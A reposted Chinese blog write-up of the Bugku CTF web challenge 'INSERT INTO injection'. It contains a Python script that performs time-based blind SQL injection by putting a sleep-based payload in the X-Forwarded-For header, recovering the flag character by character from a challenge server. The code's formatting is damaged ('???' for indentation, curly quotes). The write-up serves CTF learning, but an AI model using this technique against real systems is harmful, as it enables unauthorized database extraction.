分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 教程案例

bugku_web_INSERT INTO 注入

发布时间:2023-09-06 02:16责任编辑:沈小雨关键词:暂无标签

首先一打开就能看到源码,放到notepad++里面审计一下:

大概懂了这段代码的意思:获取你的ip,然后把你的ip插入到client_ip表中的ip列中去。

接下来就是将注入命令不停地赋值给“ip地址”,

然后来猜测flag表里的flag列的值//这就算是出题人和做题人之间的一种默契啦。

# -*- coding:utf-8 -*-import requestsimport syssql = "127.0.0.1‘+(select case when substr((select flag from flag) from {0} for 1)=‘{1}‘ then sleep(5) else 0 end))-- +"url = ‘http://120.24.86.145:8002/web15/‘flag = ‘‘for i in range(1,50): ???# 怀疑flag有40个那么长,所以以40为长度进行猜测 ???print(‘正在猜测:‘,str(i)) ???# 把i变成字符串格式输出出来 ???for ch in range(32,129): ???????# 遍历整个acsii码表 ???????if ch == 128: ???????????sys.exit(0) ???????????# 如果都跑都这儿了,说明有问题了,程序退出 ???????sqli = sql.format(i,chr(ch)) ???????# format是格式化输出语句,i给到sql语句的{0}位置,chr(ch)给到{1}的位置。(chr()的作用是根据acsii码值返回对应的字符) ???????# print(sqli) ???????header = { ???????????‘X-Forwarded-For‘:sqli ???????????# 每次去伪造不同的ip(注入命令)嘛 ???????} ???????try: ???????????html = requests.get(url, headers=header, timeout=3) ???????# 大部分的情况肯定是猜错了,如果错了(等待超过三秒),那就继续循环; ???????# 如果对了(对脚本来说属于异常),那就跳到异常 ???????except: ???????????flag += chr(ch) ???????????print(flag) ???????????break

  最后得到flag

bugku_web_INSERT INTO 注入

原文地址:https://www.cnblogs.com/huangming-zzz/p/9735040.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved